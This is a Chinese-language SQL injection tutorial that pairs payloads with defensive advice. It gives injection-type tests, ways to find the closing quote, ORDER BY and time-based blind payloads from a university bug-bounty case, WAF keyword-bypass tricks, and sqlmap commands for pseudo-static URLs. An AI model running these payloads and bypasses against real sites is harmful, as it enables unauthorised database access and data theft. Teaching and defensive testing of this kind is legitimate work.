SQL注入姿势分享&实战案例分享
字数 1576 2025-10-01 14:05:52
SQL注入综合教学与实战指南
0x1 前言
本文系统梳理SQL注入的判断技巧、实战案例及特殊场景利用方法,重点涵盖闭合方式判断、排序注入、关键字绕过和伪静态SQL注入等技术要点,结合EDU SRC实战案例进行深度解析。
0x2 SQL注入判断技巧
一、SQL注入类型判断
数字型注入特征
- 参数直接参与SQL运算,无需引号包裹
- 典型测试Payload:
id=1 and 1=1/id=1 and 1=2 - 运算验证:
id=2-1(应返回与id=1相同结果)
字符型注入特征
- 参数由单引号或双引号包裹
- 需先闭合引号再构造注入语句
- 典型测试:
id=1' and '1'='1/id=1' and '1'='2
二、闭合方式猜测技术
系统化测试所有可能的闭合方式:
- 单引号测试:
'→ 观察是否报错 - 双引号测试:
"→ 观察是否报错 - 括号测试:
)/'))/")等组合 - 注释符测试:配合
--+/#/%23尝试闭合
判断依据:
- 页面返回正常 → 可能找到正确闭合方式
- 报错信息 → 分析报错内容判断闭合方式
- 页面空白/异常 → 可能闭合方式错误
三、排序注入(Order By注入)
注入点特征
- 参数控制
order/sort等排序字段 - 使用关键字:DESC、desc、asc、order等
利用方法
-
正常排序测试:
?order=name_desc # 按name降序 ?order=name_asc # 按name升序 -
注入验证:
?order=(case when 1=1 then name else id end)_desc ?order=(case when 1=2 then name else id end)_desc -
盲注利用:
?order=(case when ascii(substr(database(),1,1))>100 then name else id end)_desc
0x3 EDU SRC实战案例
一、案例分享:基于if的SQL注入
漏洞特征
- 使用
if()函数判断数据库长度 - 通过响应差异判断注入结果
利用过程
-
长度判断Payload:
and if(length(database())=8,sleep(3),1)--通过响应时间差异判断数据库名长度
-
逐字符盲注:
and if(ascii(substr(database(),1,1))>100,sleep(2),1)-- -
数据提取:通过二分法逐个字符判断数据库名、表名、字段值
二、关键字绕过技术
常见过滤及绕过方式
-
空格过滤 → 使用
/**/、%0a、%0d、%09替代 -
关键词过滤 → 使用大小写变异、双写、注释分割:
SEL/*bypass*/ECT → 绕过SELECT过滤 uniON selECT → 大小写绕过 -
等号过滤 → 使用
like、rlike、regexp替代:and 1 like 1 → 替代 1=1 -
引号过滤 → 使用十六进制编码:
union select 1,0x6a6a6a → 替代 'jjj'
0x4 伪静态SQL注入
特征识别
- URL呈现静态化特征:
.html、.shtml等后缀 - 参数嵌入在路径中而非查询字符串
- 示例URL:
/news/123.html(123为参数)
测试方法
手工测试
- 参数位置识别:确定URL中哪部分为动态参数
- 闭合测试:在参数后添加测试Payload
/news/123'.html → 测试单引号 /news/123)'.html → 测试括号+单引号 /news/123) and 1=1.html
Sqlmap自动化测试
-
指定注入点:使用
*标记注入位置sqlmap -u "http://site.com/news/123*.html" -
后缀处理:使用
--suffix参数sqlmap -u "http://site.com/news/123" --suffix=".html" -
Level调整:提高检测级别
sqlmap -u "http://site.com/news/123*.html" --level=3
利用技巧
- 注意URL编码:确保特殊字符正确编码
- 观察重定向:伪静态可能涉及重定向规则
- 错误信息利用:故意触发错误获取数据库信息
0x5 防御建议
开发层面
- 预编译语句:强制使用参数化查询
- 输入过滤:严格校验输入数据类型和格式
- 最小权限:数据库账户遵循最小权限原则
- 错误处理:自定义错误信息,避免泄露细节
WAF层面
- 关键词检测:过滤常见SQL关键字和函数
- 行为检测:识别异常查询模式和频率
- 编码识别:检测各种编码形式的攻击载荷
运维层面
- 定期扫描:使用sqlmap等工具定期检测
- 日志监控:监控异常数据库查询请求
- 漏洞修复:建立快速响应和修复机制
总结
SQL注入作为最古老的Web漏洞之一,仍然在各种新型场景中出现。从传统的数字型/字符型注入到排序注入、伪静态注入,攻击方式不断演变。防御方需要建立多层次防御体系,既要关注传统注入方式,也要警惕新型利用手法的出现。掌握系统化的测试方法和绕过技术,才能有效发现和修复SQL注入漏洞。
注:本文仅用于安全教学和研究目的,任何实际测试请确保获得合法授权。